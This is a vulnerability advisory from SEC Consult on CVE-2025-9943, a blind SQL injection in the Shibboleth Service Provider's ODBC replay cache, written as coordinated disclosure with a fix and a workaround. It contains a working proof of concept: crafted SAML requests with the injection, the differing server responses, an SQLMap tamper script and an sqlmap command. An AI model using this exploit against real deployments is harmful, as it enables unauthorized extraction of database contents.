Unauthenticated SQL Injection Vulnerability in Shibboleth Service Provider (SP) (ODBC interface)

Title

Unauthenticated SQL Injection Vulnerability

Product

Shibboleth Service Provider (SP) (ODBC interface)

Vulnerable Version

<=3.5.0

Fixed Version

3.5.1

CVE Number

CVE-2025-9943

Impact

high

Found

16.06.2025

By

Florian Stuhlmann (Office Bochum), SEC Consult Vulnerability Lab

Management summary

SEC Consult identified an unauthenticated SQL injection vulnerability in the Shibboleth Service Provider (SP) within the ODBC interface, which an attacker could exploit to read arbitrary records from the database with the rights of the database user.

Vendor description

"Shibboleth is one of the most widely used identity management systems in the world. After emerging as an Internet2 middleware activity in 2000, it was quickly adopted by academic institutions, identity federations, and commercial organisations all over the world."

Source: www.shibboleth.net/about-us/the-shibboleth-project/

Business recommendation

The vendor provides a patch which should be installed immediately if the ODBC interface is being used. As a workaround, use any other non-ODBC StorageService for the ReplayCache.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description

1) Unauthenticated SQL Injection Vulnerability (CVE-2025-9943)

An SQL injection vulnerability has been identified in the "ID" attribute of the SAML response when the replay cache of the Service Provider (SP) is configured to use an SQL database as storage service. An unauthenticated attacker can exploit this issue via blind SQL injection, allowing for the extraction of arbitrary data from the database, if the database connection is configured to use the ODBC plugin.
 

The vulnerability arises from insufficient escaping of single quotes in the class SQLString (file odbc-store.cpp, lines 253-271):

class SQLString {
    const char* m_src;
    string m_copy;
public:
    SQLString(const char* src) : m_src(src) {
        if (strchr(src, '\'')) {
            m_copy = src;
            replace_all(m_copy, "'", "''");
        }
    }
[...]
};

Proof of concept

1) Unauthenticated SQL Injection Vulnerability (CVE-2025-9943)

To reproduce the vulnerability, a Windows 10 machine was set up with IIS 10.0 and MySQL ODBC driver 9.4. Shibboleth 3.5.0.2 was installed using the MSI installer shibboleth-sp-3.5.0.2-win64.msi, SHA256:
eed4f743409a2b7d7f550ed3611e6cc4d789bd157da57529fccc51918ebb0ea6
 

The Shibboleth setup is configured to use MySQL for the replay cache in shibboleth2.xml:

<StorageService type="ODBC" id="mysql" cleanupInterval="900">
 <ConnectionString>
   DRIVER={MySQL ODBC 9.4 Unicode Driver};SERVER=127.0.0.1;PORT=3306;DATABASE=shibbsp;USER=shib;PWD=changeMe!
 </ConnectionString>
</StorageService>
<ReplayCache StorageService="mysql"/>

To exploit the vulnerability, Burp Suite Professional is used with the extension Hackvertor. The value of the "IssueInstant" attribute must be set to a value that is no more than a few minutes before the UTC time of the following request:

POST /Shibboleth.sso/SAML2/POST HTTP/2
Host: sp.example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 504

SAMLResponse=<@burp_urlencode><@base64><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
   ID="123456\' OR 1=1 -- -" Version="2.0" IssueInstant="2025-08-13T22:25:00Z"
   Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
 <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
 <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>
</@base64></@burp_urlencode>

If a true Boolean condition (1=1) is injected, the server replies with the following response after sending the request twice:

HTTP/2 500 Internal Server Error
[...]
<p>Rejecting replayed message ID (123456\' OR 1=1 -- -).</p>
[...]

If a false Boolean condition (1=2) is injected, the response to the second request differs.

POST /Shibboleth.sso/SAML2/POST HTTP/2
Host: sp.example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 504

SAMLResponse=<@burp_urlencode><@base64><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
   ID="123456\' OR 1=2 -- -" Version="2.0" IssueInstant="2025-08-13T22:33:00Z"
   Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
 <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
 <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>
</@base64></@burp_urlencode>

In this case, the server response contains the string "Incoming message contained no SAML assertions.":

HTTP/2 500 Internal Server Error
[...]
<p>Incoming message contained no SAML assertions.</p>
[...]

The different responses allow an exfiltration of data with a Boolean-based blind SQL injection.

To automate the attack, a custom tamper script saml_base64_urlencode.py is used with SQLMap:

from lib.core.enums import PRIORITY 
import base64 
import urllib.parse 
from datetime import datetime, timezone

__priority__ = PRIORITY.LOW

def dependencies(): 
   pass

def tamper(payload, **kwargs): 
   # current timestamp for IssueInstant 
   timestamp = datetime.now(timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z') 

   if payload: 
       saml = f'''
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="\\' {payload} -- -" Version="2.0" IssueInstant="{timestamp}"
Destination="https://sp.example.org/Shibboleth.sso/SAML2/POST">
   <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">urn:example:idp</saml:Issuer>
   <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>'''
       b64 = base64.b64encode(saml.encode()).decode() 
       return urllib.parse.quote_plus(b64)

   return payload

The following SQLMap command lists the available databases:

$ sqlmap -u sp.example.org/Shibboleth.sso/SAML2/POST --data="SAMLResponse=*" --tamper=saml_base64_urlencode.py --technique=B --batch --text-only --string "replayed" --retry-on "Incoming message contained no SAML assertions." --retries=1 --threads=10 --risk 3 --dbms mysql -dbs

Vulnerable / tested versions

The following version has been tested which was the latest version available at the time of the test:

  • 3.5.0

Vendor contact timeline

2025-08-28 Contacting vendor through security@shibboleth.net
2025-08-28 The vendor acknowledges our advisory.
2025-09-02 The vendor provides a fix and releases a prerelease candidate.
2025-09-03 Discussing the fix and asking for next steps regarding CVE number. Assigning CVE ourselves. Vendor provides link to their security advisory.
2025-09-10 Published CVE.
2025-09-11 Coordinated release of security advisory.

Solution

The vendor provides a patch which can be downloaded from the following URL:
https://shibboleth.net/downloads/service-provider/3.5.1/ 

Security advisory of the vendor:
https://shibboleth.net/community/advisories/secadv_20250903.txt 

Workaround

Use any other non-ODBC StorageService for the ReplayCache.

Advisory URL

https://sec-consult.com/vulnerability-lab/ 
 

EOF Florian Stuhlmann / @2025

 

Interested to work with the experts of SEC Consult? Send us your application.
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices.